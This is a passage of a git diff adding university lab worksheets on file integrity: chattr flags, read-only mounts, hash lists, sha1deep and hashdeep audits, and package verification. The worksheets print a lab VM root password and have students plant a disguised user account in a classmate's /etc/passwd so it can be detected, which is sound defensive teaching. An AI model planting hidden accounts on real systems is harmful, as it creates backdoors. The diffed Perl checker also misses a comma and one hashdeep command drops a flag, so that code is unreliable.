+shasum /bin/bash >> /home/<%= $main_user %>/hashes/hash.sha +shasum /bin/ls >> /home/<%= $main_user %>/hashes/hash.sha +``` + +==Look at the contents== of our new hashes file: + +```bash +less /home/<%= $main_user %>/hashes/hash.sha +``` +> Press q to quit when done + +Now use your new hash list to ==check that nothing has changed== since we generated the hashes: + +```bash +shasum -c /home/<%= $main_user %>/hashes/hash.sha +``` + +==Lab book question: Why does shasum fail to check the integrity of the shadow file?== + +==Make a change== to the end of <%= $example_file %>: + +```bash +echo "hello" >> *your-name* +``` + +Check whether anything has changed since we generated hashes: + +```bash +shasum -c /home/<%= $main_user %>/hashes/hash.sha +``` + +You should see a nice explanation of the files that have changed since generating the hashes. + +#### Scripted integrity checking + +The above can also be accomplished via a simple script (in this case a Perl script): + +```perl + #!/usr/bin/perl + # Copyleft Z. Cliffe Schreuders + # Licenced under the terms of the GPLv3 + + use warnings; + use strict; + + my %files_hashes = ( + "/etc/passwd"=>"69773dcef97bca8f689c5bc00e9335f7dd3d9e08" + "/bin/ls"=>"9304c5cba4e2a7dc25c2d56a6da6522e929eb848", + "/bin/bash"=>"54d0d9610e49a654843497c19f6211b3ae41b7c0", + ); + + foreach my $file_entry (keys %files_hashes) { + my $hash = `sha1sum $file_entry|awk '{print \$1}'|head -n1`; + chomp($hash); + if($hash ne $files_hashes{$file_entry}){ + warn "FILE CHANGED: $file_entry (hash was $hash, expected $files_hashes{$file_entry})\n"; + } else { + print "File unmodified: $file_entry (hash was $hash, as expected)\n"; + } + } +``` + +This script iterates over a list of file paths with SHA1 hashes (stored in an associative array), and runs sha1sum for each one to check whether the files are still the same. + +==Save the script as checker.pl== +> Tip: you may wish to use the default KDE GUI text editor Kate. You should be able to copy the script and paste it into Kate to save it as checker.pl. +> +> Alternatively you can type: +> "cat > checker.pl" +> Paste with Ctrl-Shift-V. +> Then, Ctrl-D, to end the input. + +Then ==run the script== with: + +```bash +perl checker.pl +``` + +==Lab book question: Are the files reported as unmodified, or have they changed? Why might they be different to when I wrote the script?== diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/fim_package_management.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/fim_package_management.md.erb new file mode 100644 index 000000000..2c5f26457 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/fim_package_management.md.erb @@ -0,0 +1,53 @@ +#### Detecting changes to resources using package management + +On Linux systems, package management systems are used to organise, install, and update software. The package management system has a database that keeps track of all the files for each program or software package. Depending on the package management system used, the database may maintain hashes in order to detect changes to files since install. DEB-based systems (such as Debian, and Ubuntu) and RPM-based systems (such as Red Hat, Fedora, and OpenSUSE), typically store hashes of each file that is included in software packages. There are commands that can be used to detect changes to files that have occurred since being installed by the package management software. + +Note that there are times where it is perfectly normal for a number of files to not match the 'fresh' versions that were installed: for example, configuring a system for use will involve editing configuration files that were distributed with software packages. + +==View the files containing MD5 hashes== stored for the packages on the system: +```bash +ls /var/lib/dpkg/info/*.md5sums +``` + +==View the contents== of one of the files. + +debsums is a program that can use those MD5 hashes to verify that files on a DEB-based system match the corresponding packages that are installed. By default it doesn't check configuration files (such as in /etc/). + +Verify all files installed by all packages: +```bash +sudo debsums -ac +``` +> Ctrl-C to end the program early. +> Options for debsum include: +> -a also check config files +> -e *only* check config files +> -c only report *changed* files + +Verify the files installed by a specific package: +```bash +sudo debsums firefox +``` + +Choose any system file on the computer, such as /etc/securetty. To determine which package the file belongs to: + +```bash +dpkg-query -S *any-file-you-chose* +``` +> Where ==any-file-you-chose== is any file such as /etc/securetty. + +The output of that command contains the package-name, and is required in the next +step. + +Check the integrity of the file: + +```bash +sudo debsums -a *package-name* +``` +> Where package-name is the output from the previous command. + +Try to understand the cause of any files failing the integrity checks. + +==Workbook question: What are the limitations of this approach?== + +- What files will (and won't) this approach to integrity management cover? +- Are the hashes protected against tampering? diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/fim_recursive.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/fim_recursive.md.erb new file mode 100644 index 000000000..1f436705a --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/fim_recursive.md.erb @@ -0,0 +1,124 @@ +#### Recursive file integrity checkers + +The md5deep program (also known as sha1deep, sha256deep, and so on for different hash algorithms) can recursively walk through directories (and into all contained subdirectories) to generate and check lists of hashes. + +==Run:== + +```bash +sudo sha1deep -r /etc/ +``` +> You can stop the program early by pressing Ctrl-C + +The output of the above command will include hashes of every file in /etc/, which is where system-wide configuration files are stored on Unix. + +Read the sha1deep manual to understand the above command: + +```bash +man sha1deep +``` +> ==Figure out what the -r flag does.== +> +> (q to quit) + +We can save (redirect) this output to a file so that we have a record of the current state of our system's configuration: + +```bash +sudo sha1deep -r /etc > /home/<%= $main_user %>/hashes/etc_hashes +``` + +This may take a minute or so, while the program calculates all the hashes and sends them to standard out (known as stdout), which is then redirected to the etc_hashes file. + +Next, let's compare the size of our list of hashes, with the actual content that we have hashed... + +See how big our list of hashes is: + +```bash +ls -hs /home/<%= $main_user %>/hashes/etc_hashes +``` +> (-h = human readable, -s = size) + +This is likely to be in the Kilobytes. + +And for the size of all of the files in /etc/: + +```bash +sudo du -hs /etc/ +``` +> (-h = human readable, -s summarise) + +This is likely in the Megabytes (or maybe even Gigabytes). + +Clearly, **the list of hashes is much smaller**. + +Create a new file somewhere in /etc/, containing your name. Name the file whatever you like (for example /etc/test). +> Hint: 'sudo vi /etc/test', 'i' to enter insert mode, and after typing your name, 'Esc', ':wq'. + +Also, change an existing file in /etc/, but do be careful to only make a minor change that will **not cause damage to your system**. For example, you could use vi to edit /etc/hostname ('sudo vi /etc/hostname'), and add a comment to the file such as '#find this comment!' + +Lets try to identify what has changed on our system... + +Now that we have a list of hashes of our files, ==use shasum to check if anything has changed using our newly generated list of hashes== (/home/<%= $main_user %>/hashes/etc_hashes). + +> Hint: look at the previous command using shasum to check hashes. + +Does this detect our the changed file AND the new file? Why not? + +Md5deep/sha1deep takes a different approach to checking integrity, by checking all of the files it is told to check (possibly recursing over all files in a directory) against a list of hashes, and reporting whether any files it checked did not (or did, depending on the flags used) have its hash somewhere in the hash list. + +Run sha1deep to check whether any files in /etc/ do not match a hash previously generated: + +```bash +sudo sha1deep -X /home/<%= $main_user %>/hashes/etc_hashes -r /etc +``` + +This should detect both modified files, both new and modified. + +But would sha1deep detect a copy of an existing file, to a new location? + +Try it: + +```bash +sudo cp /etc/passwd /etc/passwd.backup +``` + +Now rerun the previous sha1deep command. Was the copy detected? Why not? + +What about copying one file over another? Which out of shasum or sha1deep would detect that? + +Another tool, hashdeep, which is included with md5deep, provides more coverage when it comes to detecting files that have moved, changed, or created. + +Generate a hash list for /etc using hashdeep: + +```bash +sudo hashdeep -r /etc/ > /home/<%= $main_user %>/hashes/etc_hashdeep_hashes +``` + +Hashdeep stores hashes in a different format than the previous tools. Have a look: + +```bash +less /home/<%= $main_user %>/hashes/etc_hashdeep_hashes +``` +> (q to quit) +> +> Note that the output includes some more information, such as the file size for each file. + +Delete the new file that you created earlier: + +```bash +sudo rm /etc/*whatever-the-filename-was* +``` + +Conduct a hashdeep audit to detect any changes: + +```bash +sudo hashdeep -r -a -k /home/<%= $main_user %>/hashes/etc_hashdeep_hashes /etc +``` +> Note, that this can take a while, so feel free to start working through the next section in another terminal, if you like. + +After, run it again, this time asking for more details, since the default message does not provide any information as to why an audit has failed: + +```bash +sudo hashdeep -rakvv /tmp/etc_hashdeep_hashes /etc +``` + +Consult the man page for information about what each of the above flags do. diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/integrity.md b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/integrity.md new file mode 100644 index 000000000..6fa8301ef --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/integrity.md @@ -0,0 +1,959 @@ +# Integrity Management: Protecting Against and Detecting Change + +## Introduction + +These tasks can be completed on the openSUSE\_42.1 VM. + +This lab could be completed on most RPM-based Linux systems with these +tools installed: rsync, md5sum, md5deep, Perl, ssh server (if working +together). + +## Preparation + +If you are working on campus in the IMS labs using the oVirt online +labs, [*click here for instructions on how to login on campus in the IMS +labs and create VMs from +templates*](https://docs.google.com/document/d/1SZQmZ8tEmwqzlya5zMCuwTh_C1EqHfMRif09CyilYAE/edit?usp=sharing). + +If you are working remotely using the oVirt online labs, [*click here +for instructions on how to login via VPN and create VMs from +templates*](https://docs.google.com/document/d/1zhANC_pz7fNwc_cALxGwPEn3_vls2YjWJUAkUV0BwlI/edit?usp=sharing). + +The oVirt system is a new online lab infrastructure hosted here at Leeds +Beckett. This infrastructure is **currently on trial, as a pilot**. +There is a good chance there will be some technical issues, and not +every lab will be available via this system. However, if you are happy +to benefit from this experiment, please keep in mind that you may need +to fall back to one of the above methods. + +If you are working remotely having downloaded our VMs or by copying them +when you were on campus, [*click here for instructions on how to +download VMware Player and configure the VMs to run +remotely*](https://drive.google.com/open?id=1mZSvF9Gc76mKQ5mW9Lsq2fWGIZd8-rE7RqmRXy1ICLY). + +If you are on campus using the IMS system, [*click here for instructions +on how to use the IMS system and VM download +scripts*](https://drive.google.com/open?id=1E03Q7cPrUEk_YZ8syvo-sk6FGv2SlJT1u9KwGOFWdFA). + +Start these VMs: + +- openSUSE\_42.1 (user: student password: student) + + - Two copies if working alone (Hint: change the desktop background + > of one VM so that you can easily keep track of which VM you + > are working on) + +Note: The root password on the openSUSE\_Leap\_42.1-- **which should NOT +be used to log in graphically** -- is “tiaspbiqe2r” (**t**his **i**s **a** **s**ecure **p**assword **b**ut **i**s **q**uite **e**asy **2** **r**emember). Again, never log in to the desktop environment using the +root account -- that is bad practice, and should always be avoided. + +Some of these exercises can be completed with a classmate (or simply +using two VMs), and assumes root access is available to each other's +systems via an ssh server. + +> *Distance learning students*: If you would like to work with someone +> else from the course, please contact each other via the course Google +> group and share IP addresses. + +**On openSUSE**: + +Install the required packages: + +> sudo zypper install rsync md5deep perl openssh + +## Integrity + +Security is often described in terms of confidentiality, integrity, and +availability. Protecting the integrity of information involves +preventing and detecting unauthorised changes. In many commercial +organisations integrity of information is the highest priority security +goal. Managing who is authorised to make changes to databases or files, +and monitoring the integrity of resources for unauthorised changes is an +important task in managing information security. + +## Protecting integrity + +Protecting the integrity of resources, such as the files on a system, +involves successfully managing a variety of security mechanisms, such as +authentication, access controls and file permissions, firewalls, and so +on. + +> On Linux systems this can include managing passwords, packet filtering +> IPTables rules, standard Unix file permissions (rwx), Linux extended +> attributes (including ACLs for detailed authentication, labels for +> mandatory access control (MAC), and Linux Capabilities). Linux (like +> other Unix-like and Unix-based systems) has a long history of adding +> new security features as and when they are required. +> +> Note that many security controls such as those listed above are very +> important for protecting the integrity of files, but are beyond the +> scope of this lab. Here the focus is on techniques that are *entirely* +> focussed on integrity rather than confidentiality or availability. + +There are precautions that can be taken to reduce the chances of +unauthorised changes. + +### Protecting integrity with file attributes + +Unix systems (such as Linux or FreeBSD) include file attributes that, +amongst other features, can make files immutable or append only. Setting +these file attributes can provide an effective layer of security, and +yet could be considered one of the more obscure Unix security +features[^1]. Note that this feature is dependent on the use of a +compatible filesystem (most Unix filesystems, such as ext, are +compatible with file attributes). Once configured, file attributes can +even prevent root (the all-powerful Unix superuser) from making changes +to certain files. + +Open a terminal console (such as Konsole from +![](media/media/image3.png) KDEMenu → System → Konsole). + +Start by creating a file with some content. Run: + +`` + sudo bash -c 'cat > /var/log/mylogfile' + `` +> +> (Type some content, then press Ctrl-D to finish and return to the +> prompt.) + +Look at the details of the file: + +> ls -la /var/log/mylogfile +> +> -rw-r--r-- 1 root root 20 Feb 7 17:38 /var/log/mylogfile + +As we can see above, the file is owned by root, who has read-write +access – exploring Unix file permissions further is outside the scope of +this lab, but will be covered elsewhere. + +Run: + +> lsattr /var/log/mylogfile +> +> -------------e- /var/log/mylogfile + +The ‘e’ flag is common on ext filesystems, may or may not be present +when you run the above, and does not really concern us. From a security +perspective the ‘a’ and ‘i’ flags are the most interesting. Read the man +page for chattr to find out more about these flags and what they do: + +> man chattr +> +> (Press q to leave the manual page) + +Set the ‘i’ flag using the chattr command: + +> sudo chattr +i /var/log/mylogfile + +Now try to delete the file and see what happens: + +> rm /var/log/mylogfile + +Denied! Opps, that’s right, root owns the file (since you created it +with sudo)! Use root to try to delete the file: + +> sudo rm /var/log/mylogfile + +It still didn’t work! That’s right, even root can’t delete the file, +without changing the file’s attributes back first. + +Use some commands to remove the ‘i’ flag (hint: “-i”, instead of “+i”). + +Now run a command to set the ‘a’ flag on /var/log/mylogfile. + +If you have done so correctly, attempting to overwrite the file with a +test message should fail: + +> sudo bash -c 'echo "test message" > /var/log/mylogfile' +> +> This should produce an error, since ‘>’ causes the output of the +> program to be written to the specified log file, which is not allowed +> due to the chattr command you have run. + +Yet you should be able to append messages to the end of the file: + +> sudo bash -c 'echo "*your-name*: test message" **>>** +> /var/log/mylogfile' +> +> This should succeed, since ‘>>’ causes the output of the program +> to be appended (added to the end of) to the specified log file, which +> is allowed. Use your name above, for example “echo "Cliffe: test +> message" >> /var/log/mylogfile”. + +View your changes at the end of the file: + +> tail /var/log/mylogfile + +This has obvious security benefits, this feature can be used to allow +files to be written to without altering existing content. For example, +for ensuring that log files can be written to, but avoiding giving +everyone who can write to the file the ability to alter its contents. + + +### Protecting integrity with read-only filesystems + +On Unix, a filesystem is mounted to a particular point in the directory +structure; for example, a USB thumb drive may be mounted to +/media/myUSB/. Some filesystems will automatically mount read-only; for +example, if you insert a CD-ROM, since those disks are physically +read-only. It is possible to optionally mount almost any filesystem, +such as a USB or even a directory, in read-only mode, which will make it +practically impossible to write changes to it (without remounting or +accessing the drive/directory in other ways, which normally only root +can do). + +> In a command prompt, run: +> +> mount +> +> Note that many of the devices and directories have been mounted for +> read and write access (**rw**). For security reasons, it can be safer +> to mount things as read-only, when we don’t need to be able to make +> changes to the contents. +> +> Ordinary users can only read the /etc directory but the superuser root +> who owns the /etc directory can read and write to it. In the following +> example, you are going to mount the /etc directory to a mount point +> (another directory within the filesystem) and the contents of the /etc +> directory will be accessible via the mount point. +> +> List the contents of the /etc directory so you are familiar with its +> contents: +> +> ls /etc +> +> Create a new directory to be the mount point: +> +> mkdir /home/student/test +> +> Mount the /etc directory to the new mount point: +> +> sudo mount -o bind /etc /home/student/test +> +> Make sure the /etc directory is accessible via the test directory +> mount point: +> +> ls /home/student/test +> +> Ordinary users can only read but the superuser root can still write to +> the directory. Test this by creating a new file as the superuser root +> in the /home/student/test directory: +> +> sudo touch /home/student/test/file1 +> +> Check that a new file has been created using the following commands +> +> ls -l /home/student/test/fi\* +> +> ls -l /etc/fi\* +> +> We can use this techniques to make filesystems and directories +> read-only. In the next example you will remount the etc in read-only +> mode so that even the superuser root who owns the /etc directory +> cannot make changes to its contents via the mount point. +> +> sudo mount -o remount,ro,bind /etc /home/student/test +> +> Test this by trying creating a new file as the superuser root in the +> /home/student/test directory: +> +> sudo touch /home/student/test/file2 +> +> This should prevent changes being accidently being made to important +> configuration files in the /etc directory. +> +> Remount the the /etc directory as read-only to itself: +> +> sudo mount -o remount,ro,bind /etc /etc + +Mounting read-only can be an effective way of protecting resources that +you don’t need to make any changes to. Read-only mounting is +particularly effective when an actual disk resides externally, and can +be enforced remotely. For example, when sharing files over the network. + +Note that mounting read-only may be circumvented by root (or a user with +enough privilege) via direct access to the device files (/dev/sdc1 in +the example above), or by re-mounting as read-write. + +Aside: in new versions of Linux, it is also possible to have a directory +(one part of what is on a disk) present in the directory structure twice +with different mount options (for example, /home/cliffe and +/home/cliffe-read-only). This can be achieved by bind mounting, and then +remounting to set the bind mount to read only. More information: +[*http://lwn.net/Articles/281157/*](http://lwn.net/Articles/281157/) + +## Detecting changes to resources + +Although we can aim to protect integrity, eventually even the strongest +defenses can fail, and when they do we want to know about it! In order +to respond to a security incident we need to detect that one has +occurred. One way we do so, is to detect changes to files on our system. + +### Detecting changes to resources using backups + +One technique is to compare files to a backup known to represent the +system or resources in a clean state. One advantage of this approach is +that we cannot only detect that files have changed, but also see exactly +how they differ. + +You can (and, if possible, should) **conduct this exercise with a +classmate**. + +Make a backup of your /etc/passwd file: + +> cp /etc/passwd /tmp/passwd\_backup + +This file (/etc/passwd) is an important file on Unix systems, which +lists the user accounts on the system. Although historically the hashes +of passwords were once stored here, they are now typically stored in +/etc/shadow. Changes to the /etc/passwd file are usually infrequent – +such as when new user accounts are created – and changes should only be +made for authorised purposes. + +At this point, also make sure you have a backup of any work. + +If you are working with a classmate or using two VMs, once you (and your +classmate or on the other VM) have saved a backup copy of your own +passwd file using the above command, then connect to your classmate’s +computer (other VM) using ssh: + +> Set your root password to a password you will share with your +> classmate: +> +> sudo passwd +> +> Enable your SSH server: +> +> sudo /sbin/service sshd start +> +> Open port 22 for ssh access to your computer +> +> Click KDEMenu → System → Yast +> +> Click Firewall in the Security and Users section +> +> Click “Allowed Services” +> +> Choose “Secure Shell Server” from the “Service to Allow” drop down +> list +> +> Click Add to add ssh to the list of allowed services. +> +> Click Next → Finish and close Yast +> +> Find your IP address using ifconfig, and tell your classmate your IP +> address and root password. +> +> ssh *their-ip-address* +> +> (Where *their-ip-address* is as noted earlier.) You will be prompted +> for student account password. +> +> Switch to the root user (you will be prompted for the root password): +> +> su - +> +> If you do not know each other’s root password, then feel free to log +> each other in on an ssh session as root. + +Now that you have root access to their system[^2], add a new user to +their computer... Your aim is to make the new account hard to notice. If +you are working alone, just do this on your own system: + +> useradd *new-username* +> +> Where new-username, is some new name. Don’t tell your classmate the +> name of the account you have created. You may want to create a +> username that looks innocent. + +To make things even more interesting, edit the /etc/passwd file and move +the new user account line somewhere other than right at the bottom, so +that it is less obvious: + +> vi /etc/passwd +> +> Move the cursor onto the line representing your new account (probably +> at the bottom). +> +> In vi type: +> +> :m *-number* +> +> Where number is the number of lines to move up, for example: “:m -20” +> will move the currently selected line up 20 lines, “hiding” the new +> user account amongst the others. +> +> Save your changes and exit vi by typing: +> +> :wq + +Now exit ssh: + +> exit + +If you are working with a together, look at the changes your classmate +made on your computer, and try to spot the new user account: + +> less /etc/passwd +> +> (q to exit) + +It’s not as easy as it sounds, especially if your system has lots of +user accounts. + +Since you have a backup of your passwd file, you can compare the backup +with the current passwd file to determine it has been modified. One such +tool for determining changes is diff. Diff is a standard Unix command. +Run: + +> diff -q /tmp/passwd\_backup /etc/passwd + +Diff should report that the two files differ. Diff can also produce an +easy to read description of exactly how the file has changed. This is a +popular format used by programmers for sharing changes to source code: + +> diff -u /tmp/passwd\_backup /etc/passwd + +There are many advantages to the comparison of backups approach to +detecting changes, but it also has its limitations. To apply this +approach to an entire system, you will need a fairly large amount of +either local or network shared storage, and writes need to be controlled +to protect the backups, yet written to whenever authorised changes are +made to keep the backup up-to-date. Also, when the comparisons are made +substantial disk/network access is involved, since both both sources +need to be read at the same time in order to do the comparison. + +In the example above, the backup was stored on the same computer. Did +you think of editing your classmates backup passwd file? This is related +to a major issue when checking for changes to the system: if your system +has been compromised, then you can’t necessarily trust any of the local +software or files, since they may have been replaced or modified by an +attacker. For that reason, it can be safer to run software (such as +diff) from a separate read-only storage. Yet that still may not be +enough, the entire operating system could be infected by a rootkit. + +Aside: Filesystems, such as btrfs, that support history and snapshots +can also be helpful for investigating breaches in integrity. + +### Detecting changes to resources using hashes and file integrity checkers + +Another technique for detecting modifications to files is to use hashes +of files in their known good state. Rather than storing and comparing +complete copies, a one way hash function can be used to produce a fixed +length hash (or “digest”), which can be used for later comparisons. +Hashes have security properties that enable this use: + +- Each hash is unique to the input + +- It is extremely difficult (practically impossible) to find another + > input that produces the same hash output + +- Any change to the input (no matter how minor) changes the output + > hash dramatically + +We can store a hash and later recompute the hash, to determine whether +the file has changed (if the hash is different), or it is exactly the +same (if the hash is the same). If you have studied digital forensics, +many of these concepts will be familiar to you, since hashes are also +commonly used for verifying the integrity of digital evidence. + +Generate an MD5 hash of your backup password file, which you copied +above: + +> md5sum /tmp/passwd\_backup + +Now calculate a hash of your current passwd file: + +> md5sum /etc/passwd + +If the generated hashes are different, you know the files do not have +exactly the same content. + +Note that using hashes, there is no need to have the backup on-hand in +order to check the integrity of files, you can just compare a newly +generated hash to a previous one. + +Repeat the above two commands using shasum rather than md5sum. SHA1 and +SHA2 are considered to be more secure than the “cryptographically +broken” MD5 algorithm. Although MD5 is still in use today, it is safer +to use a stronger hash algorithm, since MD5 is not collision-resistant, +meaning it is possible to find multiple files that result in the same +hash. SHA1 is considered partially broken, so a new algorithm such as +SHA2 is currently a good option. There are a number of related commands +for generating hashes, named md5sum, shasum, sha224sum, sha256sum, and +so on. These commands (as well as those in the next section) are readily +available on most Unix systems, and are also available for Windows. + +#### File integrity checkers + +A file integrity checker is a program that compares files to previously +generated hashes. A number of these kinds of tools exist, and these can +be considered a form of host-based intrusion detection system (HIDS), +particularly if the checking happens automatically. One of the most well +known integrity checkers is Tripwire, which was previously released open +source; although, new versions are closed source and maintained by +Tripwire, Inc, with a more holistic enterprise ICT change management +focus. There are other tools similar to Tripwire, such as AIDE (Advanced +Intrusion Detection Environment), and OSSEC (Open Source Host-based +Intrusion Detection System). + +The above md5sum, shasum (and so on) programs can also be used to check +a list of file hashes. + +Create an empty file, where *your-name*, is your actual name: + +> touch *your-name* + +Run the following to generate a file containing hashes of files we can +later check against: + +> shasum *your-name* >> /tmp/hash.sha +> +> shasum /etc/passwd >> /tmp/hash.sha +> +> sudo shasum /etc/shadow >> /tmp/hash.sha +> +> shasum /bin/bash >> /tmp/hash.sha +> +> shasum /bin/ls >> /tmp/hash.sha + +Look at the contents of our new hashes file (Q to quit when done): + +> less /tmp/hash.sha + +Now use your new hash list to check that nothing has changed since we +generated the hashes: + +> shasum -c /tmp/hash.sha + +Why does shasum fail to check the integrity of the shadow file? + +Make a change to our empty “*your-name*” file: + +> echo "hello" > *your-name* + +Check whether anything has changed since we generated hashes: + +> shasum -c /tmp/hash.sha + +You should see a nice explanation of the files that have changed since +generating the hashes. + +#### Scripted integrity checking + +The above can also be accomplished via a simple script (in this case a +Perl script): + + #!/usr/bin/perl + + # Copyleft 2012, Z. Cliffe Schreuders + + # Licenced under the terms of the GPLv3 + + use warnings; + + use strict; + + my %files\_hashes = ( + + "/bin/ls"=>"9304c5cba4e2a7dc25c2d56a6da6522e929eb848", + + "/bin/bash"=>"54d0d9610e49a654843497c19f6211b3ae41b7c0", + + "/etc/passwd"=>"69773dcef97bca8f689c5bc00e9335f7dd3d9e08" + + ); + + foreach my \$file\_entry (keys %files\_hashes) { + + my \$hash = \`sha1sum \$file\_entry|awk '{print \\\$1}'|head -n1\`; + + chomp(\$hash); + + if(\$hash ne \$files\_hashes{\$file\_entry}){ + + warn "FILE CHANGED: \$file\_entry (hash was \$hash, expected + \$files\_hashes{\$file\_entry})\\n"; + + } else { + + print "File unmodified: \$file\_entry (hash was \$hash, as + expected)\\n"; + + } + + } + +This script simply iterates over a list of file paths with SHA1 hashes +(stored in an associative array), and runs sha1sum for each one to check +whether the files are still the same. + +Save the script as checker.pl (Help: you may wish to install the default +KDE GUI text editor Kate, if it is not already installed under the +Utlities menu. You should be able to copy the script and paste it into +Kate to save it as checker.pl. Kate can be installed using the following +command: “sudo zypper install kate”) + +Then run the script with: + +> perl checker.pl + +Are the files reported as unmodified, or have they changed? Why might +they be different to when I wrote the script? + +##### Recursive file integrity checkers + +The md5deep program (also known as sha1deep, sha256deep, and so on for +different hash algorithms) can recursively walk through directories (and +into all contained subdirectories) to generate and check lists of +hashes. + +Run: + +> sudo sha1deep -r /etc +> +> If the md5deep command is not available, install it: +> +> On openSUSE this can be done by first running “cnf sha1deep”, to find +> the name of the package containing the program, then run the install +> command it gives you, such as “sudo zypper install md5deep”. +> +> If you get “PackageKit is blocking zypper”, then select “no”, and kill +> PackageKit, by running “kill -9 *pid*”, where *pid* is the number +> reported by the previous command. Now run the above again. +> +> If the zypper command is stuck on refreshing a repository, then press +> “Ctrl-C”, “a” (for abort), then proceed with the installation as per +> normal. +> +> Once the required software is installed, try the sha1deep command +> again. + +The output of the above command will include hashes of every file in +/etc, which is where system-wide configuration files are stored on Unix. + +Read the sha1deep manual to understand the above command: + +> man sha1deep +> +> Figure out what the -r flag does. +> +> (Q to quit) + +We can save (redirect) this output to a file so that we have a record of +the current state of our system’s configuration: + +> sudo sha1deep -r /etc > /tmp/etc\_hashes + +This may take a minute or so, while the program calculates the hashes +and sends them to standard out (known as stdout), which is then +redirected to the etc\_hashes file. + +Next, let's compare the size of our list of hashes, with the actual +content that we have hashed... + +See how big our list of hashes is: + +> ls -hs /tmp/etc\_hashes +> +> (-h = human readable, -s = size) + +This is likely to be in the Kilobytes. + +And for the size of all of the files in /etc: + +> sudo du -hs /etc +> +> (-h = human readable, -s summarise) + +This is likely in the Megabytes (or maybe even Gigabytes). + +Clearly, the list of hashes is much smaller. + +If you are **working with a classmate**, log into their system using ssh +(as done previously). If you are working alone, simply run all the +commands on your own system. + +Create a new file somewhere in /etc/, containing your name. Name the +file whatever you like (for example /etc/test), although the more +inconspicuous the better. + +> Hint: “sudo vi /etc/test”, “i” to enter insert mode, and after typing +> your name, “Esc”, “:wq”. + +Also, change an existing file in /etc on their system, but please do be +careful to only make a minor change that will **not cause damage to +their system**. For example, you could use vi to edit /etc/hostname +(“sudo vi /etc/hostname”), and add a comment to the file such as +“\#your-name: bet you can’t find this comment!” + +You can now “exit” the ssh session. + +**On your own system**, lets try to identify what the “attacker” has +done to our system... + +Now that we have a list of hashes of our files, use shasum to check if +anything has changed using our newly generated list of hashes +(/tmp/etc\_hashes). + +> Hint: look at the previous command using shasum to check hashes. + +Does this detect our the changed file AND the new file? Why not? + +Md5deep/sha1deep takes a different approach to checking integrity, by +checking all of the files it is told to check (possibly recursing over +all files in a directory) against a list of hashes, and reporting +whether any files it checked did not (or did, depending on the flags +used) have its hash somewhere in the hash list. + +Run sha1deep to check whether any files in /etc/ do not match a hash +previously generated: + +> sudo sha1deep -X /tmp/etc\_hashes -r /etc + +This should detect both modified files, both new and modified. + +But would sha1deep detect a copy of an existing file, to a new location? + +Try it: + +> sudo cp /etc/passwd /etc/passwd.backup + +Now rerun the previous sha1deep command. Was the copy detected? Why not? + +What about copying one file over another? Which out of shasum or +sha1deep would detect that? + +Another tool, hashdeep, which is included with md5deep, provides more +coverage when it comes to detecting files that have moved, changed, or +created. + +Generate a hash list for /etc using hashdeep: + +> sudo hashdeep -r /etc > /tmp/etc\_hashdeep\_hashes + +Hashdeep stores hashes in a different format than the previous tools. +Have a look: + +> less /tmp/etc\_hashdeep\_hashes +> +> (q to quit) +> +> Note that the output includes some more information, such as the file +> size for each file. + +Delete the new file that your “attacker” (the person who sshed into your +system) created earlier: + +> sudo rm /etc/*whatever-the-filename-was* + +Conduct a hashdeep audit to detect any changes: + +> sudo hashdeep -r -a -k /tmp/etc\_hashdeep\_hashes /etc +> +> Note, that this can take a while, so feel free to start working +> through the next section in another terminal, if you like. + +After, run it again, this time asking for more details, since the +default message does not provide any information as to why an audit has +failed: + +> sudo hashdeep -ra**vv** -k /tmp/etc\_hashdeep\_hashes /etc + +Consult the man page for information about what each of the above flags +do. + +#### Detecting changes to resources using package management + +On Linux systems, package management systems are used to organise, +install, and update software. The package management system has a +database that keeps track of all the files for each program or software +package. Depending on the package management system used, the database +may maintain hashes in order to detect changes to files since install. +RPM-based systems (such as Red Hat, Fedora, and OpenSUSE), store hashes +of each file that is included in software packages. There are commands +that can be used to detect changes to files that have occurred since +being installed by the package management software. + +Note that there are times where it is perfectly normal for a number of +files to not match the “fresh” versions that were installed: for +example, configuring a system for use will involve editing configuration +files that were distributed with software packages. + +The “rpm” command has a -V flag for verifying the integrity of packages. + +Choose any system file on the computer, such as /etc/securetty. To +determine which package the file belongs to: + +> rpm -q --whatprovides *any-file-you-chose* +> +> Where any-file-you-chose is any file such as /etc/securetty. + +The output of that command the package-name, and is required in the next +step. + +Check the integrity of the file: + +> rpm -V *package-name* +> +> Where package-name is the output from the previous command. + +An example from the output would be: + +> 5S.T..... c /etc/securetty + +Which means, it is a config file (c), and: + +- S – file Size differs + +- M – Mode differs (includes permissions and file type) + +- 5 – MD5 sum differs + +- D – Device major/minor number mismatch + +- L – readLink(2) path mismatch + +- U – User ownership differs + +- G – Group ownership differs + +- T – mTime differs + +- P – caPabilities differ + +Use the above information to understand the output from your above rpm +-V command. + +Next verify the integrity of all of the packages on the entire system +(this may take a while): + +> rpm -Va + +Try to understand the cause of any files failing the integrity checks. + +Consider the limitations of this approach: what files will (and won’t) +this approach to integrity management cover? + +#### Limitations of integrity checking + +Perhaps the greatest limitation to all of these approaches, is that if a +system is compromised, you may not be able to trust any of the tools on +the system, or even the operating system itself to behave as expected. +In the case of a security compromise, your configuration files may have +been altered, including any hashes you have stored locally, and tools +may have been replaced by Trojan horses. For this reason it is safer to +run tools over the network or from a removable drive, with read-only +access to protect your backups and hashes. Even then, the +OS/kernel/shell may not be telling you the truth about what is +happening, since a rootkit could be concealing the truth from other +programs. + +### Problem-based tasks + +#### Choosing files for integrity checking + +Fill in the table below with a number of files on a Unix or Windows +system whose integrity should be monitored for security purposes: + + **Filename** **Description** **Security reason for monitoring integrity** + --------------------- ------------------------- --------------------------------------------------------------------------------------------------------------------- + *Unix: /etc/passwd* *List of user accounts* *Adding or modifying users is security sensitive, since rogue user accounts could present a backdoor to the system* + + + + + + + + + + + +**Complete the table above, with a number of Unix/Windows files that +should be monitored for integrity, as evidence that you have completed +this part of the task.** + +**Label it or save it as “Integrity-A1”.** + +Add an integrity monitoring solution (md5sum, md5deep, or hashdeep) to a +cron job, so that every hour the integrity of some important files are +checked, and any errors are emailed to root. + +Hints: Any output on standard error (stderr) on a cron job results in a 